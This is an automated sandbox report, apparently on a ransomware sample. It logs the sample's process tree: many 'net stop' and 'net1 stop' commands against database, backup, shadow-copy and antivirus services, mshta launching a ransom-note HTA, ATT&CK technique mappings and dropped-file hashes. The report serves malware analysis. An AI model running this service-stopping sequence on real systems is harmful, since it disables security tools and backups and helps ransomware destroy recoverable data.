C:\Windows\SysWOW64\net.exe
"net.exe" stop SQLBrowser /y
2⤵
PID:4808

C:\Windows\SysWOW64\net.exe
"net.exe" stop SQLAgent$VEEAMSQL2012 /y
2⤵
PID:4788

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQL$VEEAMSQL2012 /y
2⤵
PID:628

C:\Windows\SysWOW64\net.exe
"net.exe" stop ##WID /y
2⤵
PID:1344

C:\Windows\SysWOW64\net.exe
"net.exe" stop MSSQL$MICROSOFT /y
2⤵
PID:4668

C:\Windows\SysWOW64\net.exe
"net.exe" stop dbeng8 /y
2⤵
PID:3092

C:\Windows\SysWOW64\net.exe
"net.exe" stop dbsrv12 /y
2⤵
PID:4744

C:\Windows\SysWOW64\net.exe
"net.exe" stop vmware-converter /y
2⤵
PID:4040

C:\Windows\SysWOW64\net.exe
"net.exe" stop vmware /y
2⤵
PID:4764

C:\Windows\SysWOW64\net.exe
"net.exe" stop zhudongfangyu /y
2⤵
PID:4188

C:\Windows\SysWOW64\net.exe
"net.exe" stop tomcat6 /y
2⤵
PID:4108

C:\Windows\SysWOW64\net.exe
"net.exe" stop msmdsrv /y
2⤵
PID:792

C:\Windows\SysWOW64\net.exe
"net.exe" stop QBCFMonitorService /y
2⤵
PID:3308

C:\Windows\SysWOW64\net.exe
"net.exe" stop FCS /y
2⤵
PID:5084

C:\Windows\SysWOW64\net.exe
"net.exe" stop QuickBooks /y
2⤵
PID:3104

C:\Windows\SysWOW64\net.exe
"net.exe" stop Intuit /y
2⤵
PID:5100

C:\Windows\SysWOW64\net.exe
"net.exe" stop QBIDPService /y
2⤵
PID:4568

C:\Windows\SysWOW64\net.exe
"net.exe" stop QLADHLP /y
2⤵
PID:4252

C:\Windows\SysWOW64\net.exe
"net.exe" stop sqlbrowser /y
2⤵
PID:2584

C:\Windows\SysWOW64\net.exe
"net.exe" stop RTVscan /y
2⤵
PID:4964

C:\Windows\SysWOW64\net.exe
"net.exe" stop Culserver /y
2⤵
PID:3676

C:\Windows\SysWOW64\net.exe
"net.exe" stop sqladhlp /y
2⤵
PID:3884

C:\Windows\SysWOW64\net.exe
"net.exe" stop sqlagent /y
2⤵
PID:3668

C:\Windows\SysWOW64\net.exe
"net.exe" stop Sqlservr /y
2⤵
PID:4888

C:\Windows\SysWOW64\net.exe
"net.exe" stop SavRoam /y
2⤵
PID:2704

C:\Windows\SysWOW64\net.exe
"net.exe" stop ccSetMgr /y
2⤵
PID:3684

C:\Windows\SysWOW64\net.exe
"net.exe" stop ccEvtMgr /y
2⤵
PID:4884

C:\Windows\SysWOW64\net.exe
"net.exe" DefWatch
2⤵
PID:4260

C:\Windows\SysWOW64\net.exe
"net.exe" wrapper
2⤵
PID:1988

C:\Windows\SysWOW64\net.exe
"net.exe" stop mysql57
2⤵
PID:2168

C:\Windows\SysWOW64\net.exe
"net.exe" stop -n apache24
2⤵
PID:1420

C:\Windows\SysWOW64\net.exe
"net.exe" stop sophos /y
2⤵
PID:3872

C:\Windows\SysWOW64\net.exe
"net.exe" stop CAARCUpdateSvc /y
2⤵
PID:3724

C:\Windows\SysWOW64\net.exe
"net.exe" stop CASAD2DWebSvc /y
2⤵
PID:4904

C:\Windows\SysWOW64\net.exe
"net.exe" stop AcronisAgent /y
2⤵
PID:4856

C:\Windows\SysWOW64\net.exe
"net.exe" stop AcrSch2Svc /y
2⤵
PID:3772

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecRPCService /y
2⤵
PID:3788

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecManagementService /y
2⤵
PID:4864

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecDiveciMediaService /y
2⤵
PID:4860

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecAgentBrowser /y
2⤵
PID:4852

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecAgentAccelerator /y
2⤵
PID:2752

C:\Windows\SysWOW64\net.exe
"net.exe" stop BackupExecVSSProvider /y
2⤵
PID:1512

C:\Windows\SysWOW64\net.exe
"net.exe" stop PDVFSService /y
2⤵
PID:3096

C:\Windows\SysWOW64\net.exe
"net.exe" stop veeam /y
2⤵
PID:4144

C:\Windows\SysWOW64\net.exe
"net.exe" stop VeeamNFSSvc /y
2⤵
PID:2476

C:\Windows\SysWOW64\net.exe
"net.exe" stop VeeamDeploymentService /y
2⤵
PID:2276

C:\Windows\SysWOW64\net.exe
"net.exe" stop VeeamTransportSvc /y
2⤵
PID:2060

C:\Windows\SysWOW64\net.exe
"net.exe" stop VSNAPVSS /y
2⤵
PID:4104

C:\Windows\SysWOW64\net.exe
"net.exe" stop stc_raw_agent /y
2⤵
PID:4044

C:\Windows\SysWOW64\net.exe
"net.exe" stop zhudongfangyu /y
2⤵
PID:4024

C:\Windows\SysWOW64\net.exe
"net.exe" stop YooIT /y
2⤵
PID:1572

C:\Windows\SysWOW64\net.exe
"net.exe" stop YooBackup /y
2⤵
PID:1676

C:\Windows\SysWOW64\net.exe
"net.exe" stop QBCFMonitorService /y
2⤵
PID:1688

C:\Windows\SysWOW64\net.exe
"net.exe" stop Intuit.QuickBooks.FCS /y
2⤵
PID:1836

C:\Windows\SysWOW64\net.exe
"net.exe" stop QBIDPService /y
2⤵
PID:4280

C:\Windows\SysWOW64\net.exe
"net.exe" stop QBFCService /y
2⤵
PID:2288

C:\Windows\SysWOW64\net.exe
"net.exe" stop RTVscan /y
2⤵
PID:1820

C:\Windows\SysWOW64\net.exe
"net.exe" top SavRoam /y
2⤵
PID:1900

C:\Windows\SysWOW64\net.exe
"net.exe" stop ccSetMgr /y
2⤵
PID:2540

C:\Windows\SysWOW64\net.exe
"net.exe" stop ccEvtMgr /y
2⤵
PID:2740

C:\Windows\SysWOW64\net.exe
"net.exe" stop DefWatch /y
2⤵
PID:912

C:\Windows\SysWOW64\net.exe
"net.exe" stop NetBackup BMR MTFTP Service /y
2⤵
PID:3132

C:\Windows\SysWOW64\net.exe
"net.exe" stop BMR Boot Service /y
2⤵
PID:4340

C:\Windows\SysWOW64\net.exe
"net.exe" stop mfewc /y
2⤵
PID:4236

C:\Windows\SysWOW64\net.exe
"net.exe" stop McAfeeDLPAgentService /y
2⤵
PID:4084

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\readme-warning.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
2⤵
PID:8120

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\readme-warning.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
2⤵
PID:9208

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\readme-warning.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
2⤵
PID:7740

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\readme-warning.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
2⤵
PID:9264

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\readme-warning.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
2⤵
PID:4228

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mfewc /y
1⤵
PID:5800

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcronisAgent /y
1⤵
PID:5816

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
1⤵
PID:6988

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Intuit /y
1⤵
PID:7412

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$MICROSOFT /y
1⤵
PID:7404

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop YooBackup /y
1⤵
PID:7396

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop zhudongfangyu /y
1⤵
PID:7388

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBCFMonitorService /y
1⤵
PID:7380

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
1⤵
PID:7372

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sqlbrowser /y
1⤵
PID:7364

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecManagementService /y
1⤵
PID:7420

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
1⤵
PID:7356

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ccSetMgr /y
1⤵
PID:7348

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBCFMonitorService /y
1⤵
PID:7340

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBIDPService /y
1⤵
PID:7332

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamDeploymentService /y
1⤵
PID:7324

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
1⤵
PID:7316

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBVSS /y
1⤵
PID:7300

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop PDVFSService /y
1⤵
PID:7292

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamNFSSvc /y
1⤵
PID:7284

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop DefWatch /y
1⤵
PID:7428

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
1⤵
PID:7276

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BMR Boot Service /y
1⤵
PID:7248

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop dbsrv12 /y
1⤵
PID:7240

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcrSch2Svc /y
1⤵
PID:7844

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2012 /y
1⤵
PID:8116

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mysql57
1⤵
PID:8200

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
1⤵
PID:8324

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecRPCService /y
1⤵
PID:8556

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBIDPService /y
1⤵
PID:8656

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop WSBExchange /y
1⤵
PID:8864

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CASAD2DWebSvc /y
1⤵
PID:8960

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mepocs /y
1⤵
PID:9172

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sqlagent /y
1⤵
PID:8164

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop veeam /y
1⤵
PID:8716

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sophos /y
1⤵
PID:8156

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CAARCUpdateSvc /y
1⤵
PID:8132

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Exchange /y
1⤵
PID:7892

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$MICROSOFT /y
1⤵
PID:9164

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent$KAV_CS_ADMIN_KIT /y
1⤵
PID:9156

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop vmware-converter /y
1⤵
PID:9148

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecVSSProvider /y
1⤵
PID:9140

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$ /y
1⤵
PID:9132

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop FishbowlMySQL /y
1⤵
PID:9124

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Sqlservr /y
1⤵
PID:9112

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ARSM /y
1⤵
PID:8952

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MySQL57 /y
1⤵
PID:8944

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop backup /y
1⤵
PID:8936

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop zhudongfangyu /y
1⤵
PID:8928

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QuickBooks /y
1⤵
PID:8920

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamTransportSvc /y
1⤵
PID:8912

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ##WID /y
1⤵
PID:8856

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop vmware /y
1⤵
PID:8848

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop svc$ /y
1⤵
PID:8840

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecJobEngine /y
1⤵
PID:8832

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QLADHLP /y
1⤵
PID:8816

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2012 /y
1⤵
PID:8808

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$KAV_CS_ADMIN_KIT /y
1⤵
PID:8800

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop msftesql /y
1⤵
PID:8792

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sophos /y
1⤵
PID:8648

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop FCS /y
1⤵
PID:8640

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchange /y
1⤵
PID:8632

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CASAD2DWebSvc /y
1⤵
PID:8624

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecRPCService /y
1⤵
PID:8612

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop msmdsrv /y
1⤵
PID:8604

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop tomcat6 /y
1⤵
PID:8596

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLWriter /y
1⤵
PID:8580

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
1⤵
PID:8568

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop bedbg /y
1⤵
PID:8528

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop PDVFSService /y
1⤵
PID:8508

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 wrapper
1⤵
PID:8500

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$MICROSOFT##SSEE /y
1⤵
PID:8344

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop -n apache24
1⤵
PID:8336

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent$SHAREPOINT /y
1⤵
PID:8304

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcronisAgent /y
1⤵
PID:8292

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
1⤵
PID:8284

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLBrowser /y
1⤵
PID:8276

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$SBSMONITORING /y
1⤵
PID:8256

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamTransportSvc /y
1⤵
PID:8248

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent$SHAREPOINT /y
1⤵
PID:8240

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 DefWatch
1⤵
PID:8232

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$SHAREPOINT /y
1⤵
PID:8220

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcrSch2Svc /y
1⤵
PID:7864

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL /y
1⤵
PID:7108

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchange$ /y
1⤵
PID:6948

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop YooIT /y
1⤵
PID:7136

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ccSetMgr /y
1⤵
PID:7120

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ccEvtMgr /y
1⤵
PID:8108

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamDeploymentService /y
1⤵
PID:8036

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop stc_raw_agent /y
1⤵
PID:8028

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop memtas /y
1⤵
PID:8020

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBFCService /y
1⤵
PID:8012

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ccEvtMgr /y
1⤵
PID:8004

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamNFSSvc /y
1⤵
PID:7996

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop RTVscan /y
1⤵
PID:7988

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBFCService /y
1⤵
PID:7828

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MVarmor64 /y
1⤵
PID:7820

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop dbeng8 /y
1⤵
PID:7812

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop RTVscan /y
1⤵
PID:7804

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop YooIT /y
1⤵
PID:7796

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$SBSMONITORING /y
1⤵
PID:7788

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VSNAPVSS /y
1⤵
PID:7780

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop vss /y
1⤵
PID:7772

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLServerADHelper100 /y
1⤵
PID:7764

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sql /y
1⤵
PID:7756

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop YooBackup /y
1⤵
PID:7740

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop veeam /y
1⤵
PID:7728

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
1⤵
PID:7720

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecManagementService /y
1⤵
PID:7708

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MVArmor /y
1⤵
PID:7700

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop stc_raw_agent /y
1⤵
PID:7692

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 top SavRoam /y
1⤵
PID:7568

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecVSSProvider /y
1⤵
PID:7560

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VSNAPVSS /y
1⤵
PID:7552

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent$SBSMONITORING /y
1⤵
PID:7544

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CAARCUpdateSvc /y
1⤵
PID:7536

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sqladhlp /y
1⤵
PID:7528

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:4344

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
2⤵
- Checks processor information in registry
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:10200

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="10200.0.59027381\977087691" -parentBuildID 20221007134813 -prefsHandle 1644 -prefMapHandle 1636 -prefsLen 20888 -prefMapSize 232675 -appDir "C:\Program Files\Mozilla Firefox\browser" - {466cc320-361b-4185-8ebd-98686349139f} 10200 "\\.\pipe\gecko-crash-server-pipe.10200" 1716 1e42e4ebd58 gpu
3⤵
PID:10144

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="10200.1.95672924\1528455103" -parentBuildID 20221007134813 -prefsHandle 2060 -prefMapHandle 2056 -prefsLen 20969 -prefMapSize 232675 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fce3e27a-81e6-436f-b574-c108e21d5da4} 10200 "\\.\pipe\gecko-crash-server-pipe.10200" 2072 1e42e40fd58 socket
3⤵
PID:8616

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="10200.2.194709190\4635348" -childID 1 -isForBrowser -prefsHandle 2776 -prefMapHandle 2772 -prefsLen 21117 -prefMapSize 232675 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {972452c2-0113-4315-8bf2-a5f28fbb4e47} 10200 "\\.\pipe\gecko-crash-server-pipe.10200" 2788 1e4324cce58 tab
3⤵
PID:8116

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="10200.3.755617732\2064695648" -childID 2 -isForBrowser -prefsHandle 3596 -prefMapHandle 3592 -prefsLen 26562 -prefMapSize 232675 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {263a3072-2ece-4d9c-a429-b6e58b4af4a9} 10200 "\\.\pipe\gecko-crash-server-pipe.10200" 3576 1e4335a6b58 tab
3⤵
PID:8632

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="10200.4.743114351\1182528311" -childID 3 -isForBrowser -prefsHandle 4312 -prefMapHandle 4308 -prefsLen 26621 -prefMapSize 232675 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {7a711951-5910-4421-b906-66d8dca035bb} 10200 "\\.\pipe\gecko-crash-server-pipe.10200" 4232 1e4345d2758 tab
3⤵
PID:8532

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="10200.7.1169863583\1259545203" -childID 6 -isForBrowser -prefsHandle 4968 -prefMapHandle 4972 -prefsLen 26621 -prefMapSize 232675 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {01334be6-cf58-4cc8-bd9a-247740b1b3b0} 10200 "\\.\pipe\gecko-crash-server-pipe.10200" 4960 1e433a6ea58 tab
3⤵
PID:7456

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="10200.6.1411787680\234250256" -childID 5 -isForBrowser -prefsHandle 4796 -prefMapHandle 4800 -prefsLen 26621 -prefMapSize 232675 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d8493d95-a6a7-41b1-bf67-a870c69baf26} 10200 "\\.\pipe\gecko-crash-server-pipe.10200" 4360 1e433a6f658 tab
3⤵
PID:7476

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="10200.5.746200012\1791474330" -childID 4 -isForBrowser -prefsHandle 3608 -prefMapHandle 3012 -prefsLen 26621 -prefMapSize 232675 -jsInitHandle 1344 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {db2f8706-bc8d-4307-aa63-8523c16fabed} 10200 "\\.\pipe\gecko-crash-server-pipe.10200" 3596 1e41bc60a58 tab
3⤵
PID:6768

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

File Deletion

T1107

Impair Defenses

T1562

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Recovery\WindowsRE\ReAgent.xml
Filesize
1KB

MD5
30d5c849a82a2c8c80f1cbbb6a8b2352

SHA1
586f05c79444e3a4f8a3d4a6903f84c176c627a1

SHA256
8184b9ed1005f63cbae12e9c83b52c04e3c408b29dfedac94e282e2d87f37f64

SHA512
317f8c18fde822225698560a2ab0d07397249a0a3829f4e83c89198e8a9070e8530ba1d78eef98f922680dcee0fc4163a6204a9fec29e94d89f8fb4d61006f4a

Download Submit
C:\Recovery\WindowsRE\Winre.wim
Filesize
328.9MB

MD5
70825a00b7c9f2e46dcb8384d5e86737

SHA1
ec609c27ac295f0ae5734d0a0952f0aa15fb7b7b

SHA256
a6fd6db86980f7c928021440bd5dcbc348d2e73cc2e2ae36cde5a6fbcddd1e3f

SHA512
9bbc42b430cd7e625484c18ec17245e5404f706e75be265e97c070ebbd8cab8c86fddac8753222e09099a5bc86e67a9858f134e4613cf95b8ad59bde4f9e224d

Download Submit
C:\Recovery\WindowsRE\boot.sdi
Filesize
3.0MB

MD5
909cd52e3691699b2507856f5ee9ec3d

SHA1
8f473f1b8ab1e0219f2e693e86cc1b6b535cd5fe

SHA256
4bbfac9d18c7fe1a9b4460df8e5a36f63c6b319cf4ac74ea4c3cdd0aebcc681c

SHA512
3787b0328bb1387e4b31e35c807ed4ec60ee5ced9d572f6efd7b595e094a0e0fee3aa6a49f3fec4702d7019004bbc7572badfbb2912163abd82dcb09350948a3

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\p4wuoroe.default-release\activity-stream.discovery_stream.json.tmp
Filesize
144KB

MD5
dff66fb5f4ad482da056a32250d7c4e6

SHA1
9d3e02796181313779ad5f033c642fb4446b62cb

SHA256
1bdd0851f913ba4bab55aa7b9bec6fd86a3eba35656fcc3714ff68bd206ec1ba

SHA512
de6d474b36b6eacfc48ff805ef24a07fddc6e7ebff353d094a0d5b7e1e23e1549d58eb4573e4afdb49be6bdf8e14d91f29b1e1f784d6d78cd8312ee548c21205

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lilgcay1.ybk.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\is64.bat
Filesize
181B

MD5
225edee1d46e0a80610db26b275d72fb

SHA1
ce206abf11aaf19278b72f5021cc64b1b427b7e8

SHA256
e1befb57d724c9dc760cf42d7e0609212b22faeb2dc0c3ffe2fbd7134ff69559

SHA512
4f01a2a248a1322cb690b7395b818d2780e46f4884e59f1ab96125d642b6358eea97c7fad6023ef17209b218daa9c88d15ea2b92f124ecb8434c0c7b4a710504

Download Submit
C:\Users\Admin\AppData\Local\Temp\is64.txt
Filesize
3B

MD5
a5ea0ad9260b1550a14cc58d2c39b03d

SHA1
f0aedf295071ed34ab8c6a7692223d22b6a19841

SHA256
f1b2f662800122bed0ff255693df89c4487fbdcf453d3524a42d4ec20c3d9c04

SHA512
7c735c613ece191801114785c1ee26a0485cbf1e8ee2c3b85ba1ad290ef75eec9fede5e1a5dc26d504701f3542e6b6457818f4c1d62448d0db40d5f35c357d74

Download Submit
